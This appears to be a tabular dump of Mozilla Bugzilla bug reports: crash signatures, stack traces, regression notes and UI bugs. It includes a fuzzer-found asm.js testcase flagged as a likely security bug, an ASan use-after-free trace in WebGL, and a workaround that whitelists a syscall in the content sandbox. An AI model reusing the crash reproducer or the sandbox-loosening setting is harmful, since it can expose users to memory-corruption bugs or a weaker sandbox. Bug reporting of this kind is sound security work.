Bug ID
int64 961
1.91M
| Comment ID
int64 3.98k
17.1M
| Author
stringlengths 8
48
| Comment Text
stringlengths 1
64.3k
⌀ |
|---|---|---|---|
1,503,047 | 13,721,415 |
Due to the inner snippets element getting accidentally cleared by Activity Stream's unmounting code, snippets are no longer loaded by Firefox.
This bug was fixed by https://bugzilla.mozilla.org/show_bug.cgi?id=1492942 but remains on Firefox 63 release.
The effect of this is that snippets will never be shown on new tab for users in Firefox 63.
|
|
1,503,326 | 13,723,775 |
The following testcase crashes on mozilla-central revision 7007206a3cd4 (build with --enable-posix-nspr-emulation --enable-valgrind --enable-gczeal --disable-tests --disable-profiling --enable-debug --enable-optimize, run with --fuzzing-safe --ion-offthread-compile=off --ion-check-range-analysis --ion-offthread-compile=off):
function AsmModule() {
"use asm";
function f3(x,y){
x = x|0;
y = +y;
var n = 10;
a: while( (x|0) < 30 ) x = (x+(2147483647))|0
do {
x = (x+1)|0;
n = (n + 1)|0;
} while((n|0) < 100)
}
function bar(k,d) {
k = k|0;
d = +d;
}
return {bar:bar,f3:f3}
}
var obj = AsmModule();
print(obj.f3(1,1.5))
Backtrace:
Program terminated with signal SIGTRAP, Trace/breakpoint trap.
#0 0x00001b18d65360a4 in ?? ()
#1 0x0000000000000000 in ?? ()
rax 0xc 12
rbx 0x7fb44092c880 140412154202240
rcx 0x64 100
rdx 0x120 288
rsi 0x7fb43f21dbe0 140412130024416
rdi 0x80000000 2147483648
rbp 0x7fff21e93e18 140733762321944
rsp 0x7fff21e93e18 140733762321944
r8 0x0 0
r9 0x0 0
r10 0x7fff21e93f58 140733762322264
r11 0x1 1
r12 0x7fff21e93e48 140733762321992
r13 0x7fb440918000 140412154118144
r14 0x7fb43f21dbe0 140412130024416
r15 0x0 0
rip 0x1b18d65360a4 29793488953508
=> 0x1b18d65360a4: cmpl $0x0,0x30(%r14)
0x1b18d65360a9: je 0x1b18d65360b1
S-s because this is likely an asm.js range analysis problem.
|
|
1,503,893 | 13,728,656 |
Created attachment 9021840
policies.json
[Affected versions]:
- latest Nightly 65.0a1
- Beta 64.0b5
[Affected platforms]:
- Windows 10 x64
- macOS 10.13
- Ubuntu 16.04 x64
[Preconditions]:
- enable “DisableFirefoxScreenshots” policy via polices.json or GPO
[Steps to reproduce]:
1. Launch Firefox.
2. Access any webpage and take a screenshot via context menu.
[Expected result]:
- Firefox screenshots is disabled.
[Actual result]:
- Firefox screenshots is enabled.
[Regression range]:
- Last good revision: e18f1acd0782f6333ee892c7ebc9711d9a5e550a
First bad revision: 70a5ef5872f895009bfdf2958616ca0ecece807f
Pushlog:
https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=e18f1acd0782f6333ee892c7ebc9711d9a5e550a&tochange=70a5ef5872f895009bfdf2958616ca0ecece807f
[Additional notes]:
- In order to reproduce this issue more easily I have attached the policies.json file
|
|
1,489,735 | 13,600,298 |
User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Build ID: 20180906232139
Steps to reproduce:
See https://www.phoronix.com/scan.php?page=news_item&px=AMD-RadeonSI-Ryzen-Tuned and the linked patches for details.
At the moment this only affects the open source radeon driver.
Actual results:
Running on Firefox nightly 64.0a1 (2018-09-06) the content process crashes
```
Core was generated by `/opt/firefox-nightly/firefox -contentproc -childID 1 -isForBrowser -prefsLen 1'.
Program terminated with signal SIGSYS, Bad system call.
#0 0x00007f99d7f3740d in syscall () from /usr/lib/libc.so.6
[Current thread is 1 (Thread 0x7f99d77ef740 (LWP 3987))]
(gdb) bt
#0 0x00007f99d7f3740d in syscall () at /usr/lib/libc.so.6
#1 0x00007f99ca27f823 in () at /opt/firefox-nightly/libxul.so
#2 0x00007f99d8409fe9 in () at /opt/firefox-nightly/libmozsandbox.so
#3 0x00007f99d83563c0 in <signal handler called> () at /usr/lib/libpthread.so.0
#4 0x00007f99d83566f3 in pthread_setaffinity_np@@GLIBC_2.3.4 () at /usr/lib/libpthread.so.0
#5 0x00007f99b951f825 in util_pin_thread_to_L3 (cores_per_L3=<optimized out>, L3_index=<optimized out>, thread=<optimized out>) at ../src/util/u_thread.h:92
... etc.
```
Firefox stable 62.0 with default settings does NOT crash. It just prints warnings and then the content process still works:
```
Sandbox: seccomp sandbox violation: pid 5322, tid 5322, syscall 203, args 5322 128 140723740317632 0 128 140723740317632.
Sandbox: seccomp sandbox violation: pid 5322, tid 5322, syscall 203, args 5556 128 140723740317472 14355229661309726 1 140644547393280.
Sandbox: seccomp sandbox violation: pid 5322, tid 5322, syscall 203, args 5541 128 140723740316032 140723740315840 12 140644907620096.
```
Expected results:
Workaround:
in about:config, tell the sandbox to whitelist syscall 203, which is sched_setaffinity
security.sandbox.content.syscall_whitelist;203
|
|
1,500,759 | 13,701,084 |
The attached crash information was submitted via the ASan Nightly Reporter on mozilla-central-asan-nightly revision 64.0a1-20181020102231-https://hg.mozilla.org/mozilla-central/rev/f88ebf2720c875520d2de1cf4104a3b550c73ad8.
For detailed crash information, see attachment.
|
|
1,501,498 | 13,708,410 |
This bug was filed from the Socorro interface and is
report bp-33e99786-ec5f-4948-8e1b-0cc650181023.
=============================================================
This looks like a new crash signature in the 20181022220734 nightly 65 build.
Top 10 frames of crashing thread:
0 XUL AddonContentPolicy::ShouldLoad toolkit/mozapps/extensions/AddonContentPolicy.cpp:119
1 XUL nsContentPolicy::CheckPolicy dom/base/nsContentPolicy.cpp:151
2 XUL nsContentPolicy::ShouldLoad dom/base/nsContentPolicy.cpp:211
3 XUL NS_CheckContentLoadPolicy dom/base/nsContentPolicyUtils.h:227
4 XUL nsContentSecurityManager::doContentSecurityCheck dom/security/nsContentSecurityManager.cpp:606
5 XUL mozilla::net::HttpChannelChild::AsyncOpen2 netwerk/protocol/http/HttpChannelChild.cpp:2753
6 XUL NS_InvokeByIndex
7 XUL XPCWrappedNative::CallMethod js/xpconnect/src/XPCWrappedNative.cpp:1723
8 XUL XPC_WN_CallMethod js/xpconnect/src/XPCWrappedNativeJSOps.cpp:1019
9 XUL js::InternalCallOrConstruct js/src/vm/Interpreter.cpp:468
=============================================================
|
|
1,521,158 | 13,871,197 |
This bug is for crash report bp-716a0508-dc70-48db-9325-8f5bf0190118.
```
Top 10 frames of crashing thread:
0 @0x7f37c71500
1 @0x7f37c714f4
2 libxul.so js::LiveSavedFrameCache::~LiveSavedFrameCache mfbt/Variant.h:639
3 libxul.so js::CloneFunctionReuseScript js/src/gc/Marking.cpp:553
4 libxul.so JSObject* js::Allocate<JSObject, js/src/gc/Nursery.cpp:281
5 libxul.so JSObject* js::Allocate<JSObject, js/src/gc/Nursery.cpp:281
6 libxul.so js::NewObjectCache::newObjectFromHit js/src/gc/Nursery.cpp:281
7 libxul.so js::NativeObject::create js/src/vm/NativeObject-inl.h:524
8 libxul.so js::NewObjectCache::newObjectFromHit js/src/gc/Nursery.cpp:281
9 libxul.so js::CallObject::createTemplateObject js/src/gc/Barrier.h:720
```
Over 95% of these ~LiveSavedFrameCache crashes are on Android. About 75% are on ARM and 20% are on ARM64.
|
|
1,521,368 | 13,872,794 |
This bug is for crash report bp-c904982f-94a9-41f3-a27c-8da510190120.
```
Top 10 frames of crashing thread:
0 xul.dll struct already_AddRefed<ID2D1Brush> mozilla::gfx::DrawTargetD2D1::CreateBrushForPattern gfx/2d/DrawTargetD2D1.cpp:2075
1 xul.dll mozilla::gfx::DrawTargetD2D1::Fill gfx/2d/DrawTargetD2D1.cpp:650
2 xul.dll mozilla::gfx::DrawTarget::FillRoundedRect gfx/2d/DrawTarget.cpp:190
3 xul.dll void mozilla::gfx::DrawTargetCaptureImpl::ReplayToDrawTarget gfx/2d/DrawTargetCapture.cpp:313
4 xul.dll void mozilla::layers::PaintThread::AsyncPaintTask gfx/layers/PaintThread.cpp:199
5 xul.dll nsresult mozilla::detail::RunnableFunction<`lambda at z:/build/build/src/gfx/layers/PaintThread.cpp:174:30'>::Run xpcom/threads/nsThreadUtils.h:546
6 xul.dll nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1167
7 xul.dll NS_ProcessNextEvent xpcom/threads/nsThreadUtils.cpp:468
8 xul.dll mozilla::ipc::MessagePumpForNonMainThreads::Run ipc/glue/MessagePump.cpp:303
9 xul.dll MessageLoop::RunHandler ipc/chromium/src/base/message_loop.cc:308
```
There are 28 crashes (from 22 installations) in nightly 66 starting with buildid 20190119095933. In analyzing the backtrace, the regression may have been introduced by patch [1] to fix bug 1520877.
[1] https://hg.mozilla.org/mozilla-central/rev?node=5ab4532b7850
|
|
1,521,370 | 13,872,800 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Steps to reproduce:
Updating Windows 10 to the current version 1809 and installing the [official media feature pack](https://www.microsoft.com/en-us/software-download/mediafeaturepack).
Actual results:
Opening the following websites crash tabs reproducibly:
* Youtube videos (youtube.com/watch?v=*)
* the Mozilla support forum (support.mozilla.org/*)
Expected results:
The websites should have loaded without a tab crash.
|
|
1,521,774 | 13,876,951 |
This bug is for crash report bp-b6685b06-5afa-4934-a3f1-4e34a0190121.
Small volume Win regression which started in 20190119095933: https://bit.ly/2HsTD7i.
Code was touched in Bug 1519760. ni on :bas
```
Top 10 frames of crashing thread:
0 xul.dll mozilla::gfx::Factory::GetD2DDeviceContext gfx/2d/Factory.cpp:875
1 xul.dll mozilla::gfx::DrawTargetD2D1::OptimizeSourceSurface gfx/2d/DrawTargetD2D1.cpp:2157
2 xul.dll static struct nsLayoutUtils::SurfaceFromElementResult nsLayoutUtils::SurfaceFromElement layout/base/nsLayoutUtils.cpp:7277
3 xul.dll nsLayoutUtils::SurfaceFromElement layout/base/nsLayoutUtils.cpp:7424
4 xul.dll mozilla::dom::CanvasRenderingContext2D::DrawImage dom/canvas/CanvasRenderingContext2D.cpp:4658
5 xul.dll static bool mozilla::dom::CanvasRenderingContext2D_Binding::drawImage dom/bindings/CanvasRenderingContext2DBinding.cpp:2621
6 xul.dll mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions> dom/bindings/BindingUtils.cpp:3124
7 xul.dll js::InternalCallOrConstruct js/src/vm/Interpreter.cpp:533
8 xul.dll static bool InternalCall js/src/vm/Interpreter.cpp:588
9 xul.dll static bool Interpret js/src/vm/Interpreter.cpp:3068
```
|
|
1,522,077 | 13,879,419 |
This bug is for crash report bp-377bdb98-d390-4a32-9c91-03d810190123.
```
Top 10 frames of crashing thread:
0 xul.dll mozilla::dom::WebAuthnMaybeGetAssertionExtraInfo::AssertSanity ipc/ipdl/_ipdlheaders/mozilla/dom/PWebAuthnTransaction.h:1825
1 xul.dll void mozilla::dom::WinWebAuthnManager::Sign dom/webauthn/WinWebAuthnManager.cpp:401
2 xul.dll mozilla::dom::WebAuthnTransactionParent::RecvRequestSign dom/webauthn/WebAuthnTransactionParent.cpp:48
3 xul.dll mozilla::dom::PWebAuthnTransactionParent::OnMessageReceived ipc/ipdl/PWebAuthnTransactionParent.cpp:243
4 xul.dll void mozilla::ipc::MessageChannel::DispatchMessage ipc/glue/MessageChannel.cpp:2087
5 xul.dll mozilla::ipc::MessageChannel::MessageTask::Run ipc/glue/MessageChannel.cpp:1967
6 xul.dll nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1167
7 xul.dll NS_ProcessNextEvent xpcom/threads/nsThreadUtils.cpp:468
8 xul.dll mozilla::ipc::MessagePumpForNonMainThreads::Run ipc/glue/MessagePump.cpp:333
9 xul.dll MessageLoop::RunHandler ipc/chromium/src/base/message_loop.cc:308
```
There are 2 crashes (from 1 installation) in nightly 66 with buildid 20190122215349. In analyzing the backtrace, the regression may have been introduced by patch [1] to fix bug 1508115.
[1] https://hg.mozilla.org/mozilla-central/rev?node=828fe91e878b
|
|
1,522,089 | 13,879,532 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Steps to reproduce:
1. Open youtube.com
2. Click on any video
3. Press Space
Actual results:
The video kept playing, showing the play button animation instead of pausing.
It's like it registers two presses, one for pause and one to play again without ever pausing the video.
The only way to pause the video now is to click the video itself or the pause button in the bottom left corner.
Expected results:
The video should have been paused.
I also tried this in safe mode, to make sure no add-ons were interfering. Of course, this issue doesn't happen in Chrome, but I'm not putting on my tin foil hat just yet.
|
|
1,522,535 | 13,882,351 |
Filed by: opoprus [at] mozilla.com
https://treeherder.mozilla.org/logviewer.html#?job_id=223719751&repo=mozilla-central
https://queue.taskcluster.net/v1/task/biKmMNdHTQSsd6z9MBS9EA/runs/0/artifacts/public/logs/live_backing.log
[task 2019-01-24T12:35:33.868Z] 12:35:33 INFO - TEST-START | /webrtc/RTCPeerConnection-setDescription-transceiver.html
[task 2019-01-24T12:35:33.379Z] 12:35:33 INFO - PROCESS-CRASH | /webrtc/RTCPeerConnection-removeTrack.https.html | application crashed [@ libxul.so + 0xd1a437]
[task 2019-01-24T12:35:33.380Z] 12:35:33 INFO - Crash dump filename: /tmp/tmpHjwaxE.mozrunner/minidumps/7cbc33a0-1459-6d00-2ce2-450f4759f833.dmp
[task 2019-01-24T12:35:33.382Z] 12:35:33 INFO - Operating system: Linux
[task 2019-01-24T12:35:33.383Z] 12:35:33 INFO - 0.0.0 Linux 4.4.0-1014-aws #14taskcluster1-Ubuntu SMP Tue Apr 3 10:27:00 UTC 2018 x86_64
[task 2019-01-24T12:35:33.383Z] 12:35:33 INFO - CPU: amd64
[task 2019-01-24T12:35:33.383Z] 12:35:33 INFO - family 6 model 62 stepping 4
[task 2019-01-24T12:35:33.383Z] 12:35:33 INFO - 4 CPUs
[task 2019-01-24T12:35:33.383Z] 12:35:33 INFO -
[task 2019-01-24T12:35:33.384Z] 12:35:33 INFO - GPU: UNKNOWN
[task 2019-01-24T12:35:33.385Z] 12:35:33 INFO -
[task 2019-01-24T12:35:33.385Z] 12:35:33 INFO - Crash reason: SIGSEGV /SEGV_MAPERR
[task 2019-01-24T12:35:33.385Z] 12:35:33 INFO - Crash address: 0x0
[task 2019-01-24T12:35:33.386Z] 12:35:33 INFO - Process uptime: not available
[task 2019-01-24T12:35:33.386Z] 12:35:33 INFO -
[task 2019-01-24T12:35:33.386Z] 12:35:33 INFO - Thread 0 (crashed)
[task 2019-01-24T12:35:33.386Z] 12:35:33 INFO - 0 libxul.so + 0xd1a437
[task 2019-01-24T12:35:33.386Z] 12:35:33 INFO - rax = 0x00007f289a99c7d4 rdx = 0x0000000000000000
[task 2019-01-24T12:35:33.386Z] 12:35:33 INFO - rcx = 0x0000562aade1b980 rbx = 0x00007f28898443d0
[task 2019-01-24T12:35:33.386Z] 12:35:33 INFO - rsi = 0x00007f28a70bb770 rdi = 0x00007f28a70ba540
[task 2019-01-24T12:35:33.386Z] 12:35:33 INFO - rbp = 0x00007ffe69424730 rsp = 0x00007ffe694246d0
[task 2019-01-24T12:35:33.387Z] 12:35:33 INFO - r8 = 0x00007f28a70bb770 r9 = 0x00007f28a8119740
[task 2019-01-24T12:35:33.387Z] 12:35:33 INFO - r10 = 0x0000000000000000 r11 = 0x0000000000000000
[task 2019-01-24T12:35:33.387Z] 12:35:33 INFO - r12 = 0x00007ffe694246f8 r13 = 0x00007ffe694246e8
[task 2019-01-24T12:35:33.387Z] 12:35:33 INFO - r14 = 0x00007ffe694246d0 r15 = 0x0000000000000000
[task 2019-01-24T12:35:33.387Z] 12:35:33 INFO - rip = 0x00007f2895611437
[task 2019-01-24T12:35:33.387Z] 12:35:33 INFO - Found by: given as instruction pointer in context
[task 2019-01-24T12:35:33.387Z] 12:35:33 INFO - 1 libxul.so + 0x4626ef1
[task 2019-01-24T12:35:33.387Z] 12:35:33 INFO - rbp = 0x00007ffe69424750 rsp = 0x00007ffe69424740
[task 2019-01-24T12:35:33.388Z] 12:35:33 INFO - rip = 0x00007f2898f1def1
[task 2019-01-24T12:35:33.388Z] 12:35:33 INFO - Found by: previous frame's frame pointer
[task 2019-01-24T12:35:33.388Z] 12:35:33 INFO - 2 libxul.so + 0x11fb79f
[task 2019-01-24T12:35:33.388Z] 12:35:33 INFO - rbp = 0x00007ffe69424770 rsp = 0x00007ffe69424760
[task 2019-01-24T12:35:33.388Z] 12:35:33 INFO - rip = 0x00007f2895af279f
[task 2019-01-24T12:35:33.389Z] 12:35:33 INFO - Found by: previous frame's frame pointer
[task 2019-01-24T12:35:33.389Z] 12:35:33 INFO - 3 libxul.so + 0x46274a3
[task 2019-01-24T12:35:33.389Z] 12:35:33 INFO - rbp = 0x00007ffe69424a50 rsp = 0x00007ffe69424780
[task 2019-01-24T12:35:33.389Z] 12:35:33 INFO - rip = 0x00007f2898f1e4a3
[task 2019-01-24T12:35:33.389Z] 12:35:33 INFO - Found by: previous frame's frame pointer
[task 2019-01-24T12:35:33.389Z] 12:35:33 INFO - 4 firefox-bin!content_process_main(mozilla::Bootstrap*, int, char**) [plugin-container.cpp:5e7f43df50482670ee86c203ec1e90ab1fbafd4d : 49 + 0x12]
[task 2019-01-24T12:35:33.390Z] 12:35:33 INFO - rbp = 0x00007ffe69424a90 rsp = 0x00007ffe69424a60
[task 2019-01-24T12:35:33.390Z] 12:35:33 INFO - rip = 0x0000562aaddcb9d8
[task 2019-01-24T12:35:33.390Z] 12:35:33 INFO - Found by: previous frame's frame pointer
[task 2019-01-24T12:35:33.390Z] 12:35:33 INFO - 5 firefox-bin!main [nsBrowserApp.cpp:5e7f43df50482670ee86c203ec1e90ab1fbafd4d : 265 + 0xb]
[task 2019-01-24T12:35:33.391Z] 12:35:33 INFO - rbx = 0x0000000000000000 rbp = 0x00007ffe69425ae0
[task 2019-01-24T12:35:33.391Z] 12:35:33 INFO - rsp = 0x00007ffe69424aa0 r14 = 0x0000000000000014
[task 2019-01-24T12:35:33.391Z] 12:35:33 INFO - r15 = 0x0000562aade1b3d8 rip = 0x0000562aaddcbc4e
[task 2019-01-24T12:35:33.391Z] 12:35:33 INFO - Found by: call frame info
[task 2019-01-24T12:35:33.391Z] 12:35:33 INFO - 6 libc-2.23.so + 0x20830
[task 2019-01-24T12:35:33.392Z] 12:35:33 INFO - rbx = 0x0000000000000000 rbp = 0x0000562aade07620
[task 2019-01-24T12:35:33.392Z] 12:35:33 INFO - rsp = 0x00007ffe69425af0 r12 = 0x0000562aaddcb848
[task 2019-01-24T12:35:33.392Z] 12:35:33 INFO - r13 = 0x00007ffe69425bc0 r14 = 0x0000000000000000
[task 2019-01-24T12:35:33.392Z] 12:35:33 INFO - r15 = 0x0000000000000000 rip = 0x00007f28a6d15830
[task 2019-01-24T12:35:33.393Z] 12:35:33 INFO - Found by: call frame info
[task 2019-01-24T12:35:33.393Z] 12:35:33 INFO - 7 firefox-bin!<name omitted> [UniquePtr.h:5e7f43df50482670ee86c203ec1e90ab1fbafd4d : 274 + 0x1]
[task 2019-01-24T12:35:33.393Z] 12:35:33 INFO - rsp = 0x00007ffe69425b10 rip = 0x0000562aaddcba19
[task 2019-01-24T12:35:33.394Z] 12:35:33 INFO - Found by: stack scanning
[task 2019-01-24T12:35:33.394Z] 12:35:33 INFO -
[task 2019-01-24T12:35:33.394Z] 12:35:33 INFO - Thread 1
|
|
1,513,912 | 13,810,990 |
This bug was filed from the Socorro interface and is
report bp-2fb786f1-eb98-4455-9005-d07cc0181212.
=============================================================
Seen while looking at crash stats: https://bit.ly/2PAzT0d. This particular crash seems higher on 64.0b15 than on 63.0.2 release. Seems to be API 16 (Jelly Bean only) crash.
There is another higher volume signature, https://bit.ly/2rIxyXX, which are non Jelly Bean crashes and APIs range from 28 down.
Some comments mention crashing while reading Yahoo news, but the URLs are quite varied.
Java stack trace:
java.lang.NoSuchMethodError
at org.mozilla.gecko.SpeechSynthesisService$2.run(SpeechSynthesisService.java:56)
at android.os.Handler.handleCallback(Handler.java:615)
at android.os.Handler.dispatchMessage(Handler.java:92)
at android.os.Looper.loop(Looper.java:137)
at org.mozilla.gecko.util.GeckoBackgroundThread.run(GeckoBackgroundThread.java:43)
|
|
1,514,605 | 13,816,177 |
User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Steps to reproduce:
Run `GTK_USE_PORTAL=1 thunderbird`
Actual results:
Thunderbird crashes on startup
Expected results:
Thunderbird should not crash, or at least fail gracefully if running with GTK_USE_PORTAL=1 is not supported.
|
|
1,514,815 | 13,818,943 |
Created attachment 9031921
doesnt-stay-scrolled-down.gif
STR:
- Open https://nchevobbe.github.io/demo/console-test-app.html
- Click "Log Error" button until the console is filled, then some more
ER: Console output stays scrolled to bottom, always showing the last message.
AR: Scroll position isn't updated and position stays fixed at one position
Async resolution of stack traces doesn't update scroll position
|
|
1,515,052 | 13,820,725 |
Found while fuzzing mozilla-central rev 7ce7e9407a75. I'm currently reducing the testcase and will update once complete.
==5201==ERROR: AddressSanitizer: heap-use-after-free on address 0x61b0000a5e08 at pc 0x7fef142a65b2 bp 0x7ffea02e4560 sp 0x7ffea02e4558
READ of size 8 at 0x61b0000a5e08 thread T0 (file:// Content)
#0 0x7fef142a65b1 in mozilla::WebGLContext::FuncScope::FuncScope(mozilla::WebGLContext const&, char const*) /builds/worker/workspace/build/src/dom/canvas/WebGLContext.cpp:2259:44
#1 0x7fef1430552a in mozilla::WebGLExtensionDebugShaders::GetTranslatedShaderSource(mozilla::WebGLShader const&, nsTSubstring<char16_t>&) const /builds/worker/workspace/build/src/dom/canvas/WebGLExtensionDebugShaders.cpp:27:33
#2 0x7fef12f76c37 in mozilla::dom::WEBGL_debug_shaders_Binding::getTranslatedShaderSource(JSContext*, JS::Handle<JSObject*>, mozilla::WebGLExtensionDebugShaders*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/WebGLRenderingContextBinding.cpp:8861:9
#3 0x7fef1403d584 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3064:13
#4 0x7fef1bb5366d in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:443:13
#5 0x7fef1bb5366d in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:535
#6 0x7fef1cc89afe in js::jit::DoCallFallback(JSContext*, js::jit::BaselineFrame*, js::jit::ICCall_Fallback*, unsigned int, JS::Value*, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jit/BaselineIC.cpp:3909:10
#7 0x2f87b23b3d47 (<unknown module>)
0x61b0000a5e08 is located 136 bytes inside of 1472-byte region [0x61b0000a5d80,0x61b0000a6340)
freed by thread T0 (file:// Content) here:
#0 0x55ac1f7bba12 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:124:3
#1 0x7fef0c8bacd8 in MaybeKillObject /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2428:29
#2 0x7fef0c8bacd8 in SnowWhiteKiller::Visit(nsPurpleBuffer&, nsPurpleBufferEntry*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2457
#3 0x7fef0c88de05 in void nsPurpleBuffer::VisitEntries<SnowWhiteKiller>(SnowWhiteKiller&) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:941:23
#4 0x7fef0c88f5e8 in nsCycleCollector::FreeSnowWhiteWithBudget(js::SliceBudget&) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2622:14
#5 0x7fef0ee15a59 in AsyncFreeSnowWhite::Run() /builds/worker/workspace/build/src/js/xpconnect/src/XPCJSRuntime.cpp:141:9
#6 0x7fef0cab14ae in Run /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:317:22
#7 0x7fef0cab14ae in IdleRunnableWrapper::TimedOut(nsITimer*, void*) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:323
#8 0x7fef0cac0d9a in nsTimerImpl::Fire(int) /builds/worker/workspace/build/src/xpcom/threads/nsTimerImpl.cpp:559:7
#9 0x7fef0ca79987 in nsTimerEvent::Run() /builds/worker/workspace/build/src/xpcom/threads/TimerThread.cpp:259:11
#10 0x7fef0ca90d28 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1157:14
#11 0x7fef0ca99add in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:468:10
#12 0x7fef16937b34 in SpinEventLoopUntil<mozilla::ProcessFailureBehavior::ReportToCaller, (lambda at /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:2888:31)> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:335:25
#13 0x7fef16937b34 in mozilla::dom::XMLHttpRequestMainThread::SendInternal(mozilla::dom::BodyExtractorBase const*, bool) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:2888
#14 0x7fef169355ad in mozilla::dom::XMLHttpRequestMainThread::Send(JSContext*, mozilla::dom::Nullable<mozilla::dom::DocumentOrBlobOrArrayBufferViewOrArrayBufferOrFormDataOrURLSearchParamsOrUSVString> const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:2665:11
#15 0x7fef132821e3 in mozilla::dom::XMLHttpRequest_Binding::send(JSContext*, JS::Handle<JSObject*>, mozilla::dom::XMLHttpRequest*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/XMLHttpRequestBinding.cpp:1338:9
#16 0x7fef1403d584 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3064:13
#17 0x7fef1bb5366d in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:443:13
#18 0x7fef1bb5366d in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:535
#19 0x7fef1cc89afe in js::jit::DoCallFallback(JSContext*, js::jit::BaselineFrame*, js::jit::ICCall_Fallback*, unsigned int, JS::Value*, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jit/BaselineIC.cpp:3909:10
#20 0x2f87b23b3d47 (<unknown module>)
#21 0x62100097974f (<unknown module>)
#22 0x2f87b23af4de (<unknown module>)
#23 0x7fef1ce5850d in EnterBaseline /builds/worker/workspace/build/src/js/src/jit/BaselineJIT.cpp:124:5
#24 0x7fef1ce5850d in js::jit::EnterBaselineAtBranch(JSContext*, js::InterpreterFrame*, unsigned char*) /builds/worker/workspace/build/src/js/src/jit/BaselineJIT.cpp:202
previously allocated by thread T0 (file:// Content) here:
#0 0x55ac1f7bbd93 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:146:3
#1 0x55ac1f7ef79d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:68:15
#2 0x7fef141b19c8 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:131:10
#3 0x7fef141b19c8 in Create /builds/worker/workspace/build/src/dom/canvas/WebGL2Context.cpp:38
#4 0x7fef141b19c8 in mozilla::dom::CanvasRenderingContextHelper::CreateContextHelper(mozilla::dom::CanvasContextType, mozilla::layers::LayersBackend) /builds/worker/workspace/build/src/dom/canvas/CanvasRenderingContextHelper.cpp:130
#5 0x7fef14b307cc in mozilla::dom::HTMLCanvasElement::CreateContext(mozilla::dom::CanvasContextType) /builds/worker/workspace/build/src/dom/html/HTMLCanvasElement.cpp:398:7
#6 0x7fef141b20c0 in mozilla::dom::CanvasRenderingContextHelper::GetContext(JSContext*, nsTSubstring<char16_t> const&, JS::Handle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/canvas/CanvasRenderingContextHelper.cpp:155:15
#7 0x7fef14b38616 in mozilla::dom::HTMLCanvasElement::GetContext(JSContext*, nsTSubstring<char16_t> const&, JS::Handle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/html/HTMLCanvasElement.cpp:907:40
#8 0x7fef13a797eb in mozilla::dom::HTMLCanvasElement_Binding::getContext(JSContext*, JS::Handle<JSObject*>, mozilla::dom::HTMLCanvasElement*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLCanvasElementBinding.cpp:288:49
#9 0x7fef1403d584 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3064:13
#10 0x7fef1bb5366d in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:443:13
#11 0x7fef1bb5366d in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:535
#12 0x7fef1bb3cdf2 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:594:10
